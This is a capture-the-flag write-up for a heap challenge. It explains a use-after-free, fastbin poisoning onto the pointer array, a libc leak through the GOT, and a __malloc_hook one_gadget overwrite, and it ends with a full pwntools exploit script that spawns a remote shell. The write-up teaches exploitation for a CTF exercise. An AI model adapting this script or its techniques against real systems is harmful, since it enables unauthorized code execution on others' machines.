Overview

We are given a classic heap menu with the options to:

  1. malloc 0x18 chunks
  2. free the chunks
  3. print chunk contents
  4. edit chunk contents
  5. malloc 0x88 chunks that you cannot interact with using 1-4, unused for this attack

Vulnerability

The vulnerability in this challenge is in the free implementation, as it lacks a very important step

  • 0’ing out the pointer.

x

This means that even after we free the chunk, we can use the print and edit operation on it.

Controlling chunk placement

Having a UAF means we can poison the libc fastbins linked list to place a chunk anywhere we want in memory.

For example, if we run these operations, we can place a chunk at 0x13371337

for i in range(3):
    create(i, b'A')
for i in range(3,6):
    create(i, b'A')
for i in range(3,5):
    delete(i)
edit(4,p64(0x13371337))

x

Note that chunks 0,1,2, and 5 are just padding

Arbitrary read/write

Now that we can control where we place chunks, what do we do to get read/write primitives?

We can’t simply place them anywhere in memory, as libc has a size check that is quite annoying, which we will encounter if we don’t place the chunk at an address with a valid size for the 0x20 fastbin.

x

With this in mind, I decided to target the array that the program used to store the chunk pointers.

To bypass the check, I relied on the fact that pointers contain random bytes due to ASLR, allowing me to sometimes pass this check, requiring only that I run the exploit multiple times.

After placing a chunk on the pointer array, our job was pretty much done, as we could modify the pointers the program thought were to the chunks, and, through print and edit, read and write anywhere in the binary.

To get a libc leak, I just modified a pointer to a GOT address, which holds libc pointers, and printed it.

And for RCE, I went for the classic one_gadget in malloc_hook since the libc version was 2.25

Exploit script

Here is the final exploit script. Note that it required multiple runs as we relied on the ASLR bytes being optimal.

from pwn import *

elf = context.binary = ELF("gentei")
libc = ELF(elf.runpath + b"/libc.so.6") # elf.libc broke again
context.log_level = 'debug'
host, port = '35.246.139.54',32561

def newp():
    if args.REMOTE:
        return remote(host, port)
    return process(elf.path)

def create(index, data):
    p.sendlineafter("> ", "1")
    p.sendlineafter("Index: ", str(index).encode())
    p.sendlineafter("Guess: ", data)
def delete(index):
    p.sendlineafter("> ", "2")
    p.sendlineafter("Index: ", str(index).encode())
def show(index):
    p.sendlineafter("> ", "3")
    p.sendlineafter("Index: ", str(index).encode())
    return p.recv(6)
def edit(index,data):
    p.sendlineafter("> ", "4")
    p.sendlineafter("Index: ", str(index).encode())
    p.sendlineafter("guess: ", data)



p = newp()

for i in range(3):
    create(i, b'A')
for i in range(3,6):
    create(i, b'A')
for i in range(3,5):
    delete(i)

## Place chunk 7 on pointer array
edit(4,p64(0x602123))
create(6, b'A')
create(7, b'A')

## Now, if we modify chunk 7 which is over the pointer array, we can overwrite the pointer to chunk 3 and use that for read/write

## Leak libc
GOT_addr = 0x602028
edit(7,b'B'*5 + p64(GOT_addr))
leak = show(3)
print(leak)
leak = u64(leak.ljust(8,b'\x00'))
print(hex(leak))
libc_base = leak - 429424
print(f'libc_base: {hex(libc_base)}')


## Overwrite malloc_hook with one_gadget
one_gadget = libc_base + 0xd6fb1
malloc_hook = libc_base + libc.sym['__malloc_hook']
edit(7, b'B'*5 + p64(malloc_hook))
edit(3, p64(one_gadget))

## Trigger malloc to get shell
p.sendlineafter("> ", "1")
p.sendlineafter("Index: ", "8")

p.interactive()

Conclusion

This was a fun heap challenge showcasing how damaging an UAF can be. Hope you learned something new.